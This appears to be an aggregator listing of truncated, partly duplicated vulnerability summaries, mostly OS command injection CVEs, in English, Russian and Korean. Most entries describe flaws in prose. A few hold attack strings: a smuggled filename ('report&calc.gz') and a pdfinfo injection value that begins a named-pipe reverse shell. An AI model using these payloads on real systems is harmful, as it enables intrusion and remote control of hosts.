CVE-2026-106058 GitAhead through 2.7.1 OS Command Injection via Git Filter Filenames

GitAhead through 2.7.1 contains an OS command injection vulnerability in src/git/Filter.cpp that allows malicious repositories to execute commands by substituting crafted filenames into clean/smudge filter commands. Attackers can ship files named with $command selected via .gitattributes so...

CVE-2026-106058

GitAhead versions up to and including 2.7.1 are vulnerable to an OS command injection in the src/git/Filter.cpp component. The flaw exists because malicious repositories can execute arbitrary commands by substituting crafted filenames into clean/smudge filter commands. Specifically, an attacker c...

CVE-2026-106057 patool before 4.0.6 OS Command Injection on Windows via shell_quote_nt

patool before 4.0.6 contains an OS command injection vulnerability on Windows because shellquotent fails to escape cmd.exe metacharacters or embedded double quotes in archive filenames. Attackers can supply crafted filenames like report&calc.gz for single-file formats run with shell=True to execu...

CVE-2026-106056 Rundeck before 6.2.0 OS Command Injection via Windows Job Option Quoting

Rundeck before 6.2.0 contains an OS command injection vulnerability that allows authenticated users with job run permission to execute commands on Windows nodes by supplying crafted option values. Attackers can inject cmd.exe metacharacters such as && or | into free-text options, which...

CVE-2026-106056

Rundeck versions before 6.2.0 are vulnerable to an OS command injection vulnerability. The flaw exists because the CLIUtils.quoteWindowsCMDArg method wraps free-text options in ineffective single quotes, allowing authenticated users with job run permissions to inject cmd.exe metacharacters like &...

EUVD-2026-94304

Rundeck before 6.2.0 contains an OS command injection vulnerability that allows authenticated users with job run permission to execute commands on Windows nodes by supplying crafted option values. Attackers can inject cmd.exe metacharacters such as && or | into free-text options, which...

CVE-2026-106056 Rundeck before 6.2.0 OS Command Injection via Windows Job Option Quoting

Rundeck before 6.2.0 contains an OS command injection vulnerability that allows authenticated users with job run permission to execute commands on Windows nodes by supplying crafted option values. Attackers can inject cmd.exe metacharacters such as && or | into free-text options, which...

CVE-2026-92531

Operating system command injection vulnerability in the SVN integration component of BugTracker.NET. The application incorporates the value of the field corresponding to the repository into an svn.exe command without properly validating it. An authenticated user with administrator privileges coul...

CVE-2026-92531 Improper Neutralization of Special Elements used in an OS Command in BugTracker.NET

Operating system command injection vulnerability in the SVN integration component of BugTracker.NET. The application incorporates the value of the field corresponding to the repository into an svn.exe command without properly validating it. An authenticated user with administrator privileges coul...

CVE-2026-92531 Improper Neutralization of Special Elements used in an OS Command in BugTracker.NET

Operating system command injection vulnerability in the SVN integration component of BugTracker.NET. The application incorporates the value of the field corresponding to the repository into an svn.exe command without properly validating it. An authenticated user with administrator privileges coul...

EUVD-2026-94283

Operating system command injection vulnerability in the SVN integration component of BugTracker.NET. The application incorporates the value of the field corresponding to the repository into an svn.exe command without properly validating it. An authenticated user with administrator privileges coul...

CVE-2026-92531

BugTracker.NET contains an operating system command injection vulnerability in its SVN integration component . The application fails to properly validate the repository field value before incorporating it into an svn.exe command. An authenticated user with administrator privileges can store manip...

CVE-2019-19609

Эксплойт Strapi CMS Этот эксплойт нацелен на две уязвимости в Strapi CMS Framework версии 3.0.0-beta-17.4 , позволяющие выполнить удалённый код RCE без аутентификации. Уязвимости CVE-2019-18818 Слабый механизм восстановления пароля для забытого пароля CVSS : 9.8 - Критический Подробнее:...

CVE-2019-19919

CVE-2019-19919 Уязвимость Handlebars, связанная с неправильной нейтрализацией специальных элементов в выводе, используемом нижестоящим компонентом 'Injection' pip install requests packaging python handlebarsscanner.py pip install requests python handlebarsexploit.py Введите целевой URL: Ожидаемый...

CVE-Requests-1896609

CVE 요청 1896609 - feiskyer/mcp-kubernetes-server 요약 이 보고서는 feiskyer/mcp-kubernetes-server 패키지에서 발견된 두 가지 심각한 보안 취약점에 대해 자세히 설명합니다. 배포 시 서버는 Kubernetes 클러스터에 대한 제한적이고 안전한 접근을 제공하기 위한 MCP 도구인 kubectl을 노출합니다. 그러나 불충분한 입력 검증으로 인해 두 가지 별개의 공격 벡터가 발생합니다. OS 명령 주입: 공격자는 셸 메타문자예: ,, ;를 사용하여 명령을 연결함으로써 명령...

CVE-2021-46422

CVE-2021-46422 SDT-CW3B1 1.1.0 - Внедрение команд ОС Exploit Title: SDT-CW3B1 1.1.0 - OS Command Injection Vendor Homepage: http://telesquare.co.kr/ CVE : CVE-2021-46422 CVE Description: Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker ...

CVE-2022-36231

CVE-2022-36231 Ruby gem pdfinfo /dev/null Как и в методе initialize, для переменной @pdfpath не выполняется проверка. Это позволяет нам использовать объединение команд с помощью ; для выполнения произвольной команды: info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/s...

NetMRI-2014-3418

NetMRI-CVE-2014-3418 - Модуль Metasploit Модуль Metasploit для внедрения команд ОС в InfoBlox Network Automation Продукт: NetMRI Switch Port Manager Automation Change Manager Security Device Controller Производитель: InfoBlox Уязвимые версии: 6.4.X.X-6.8.4.X Протестированная версия: 6.8.2.11...

CVE-2021-22123

CVE-2021-22123 Аутентифицированная инъекция команд ОС в Fortinet FortiWeb Hit Counter Уязвимость внедрения команд в интерфейсе управления FortiWeb может позволить удаленному аутентифицированному злоумышленнику выполнять произвольные команды в системе через страницу конфигурации сервера SAML...

vulnerabilities found in the SonicWall SMA1000 appliance

SonicWall has identified several vulnerabilities in the SonicWall SMA1000 appliance. These vulnerabilities include a pre-authentication Server-Side Request Forgery SSRF vulnerability, which allows unauthorized attackers to execute unauthorized internal requests. Additionally, there is a...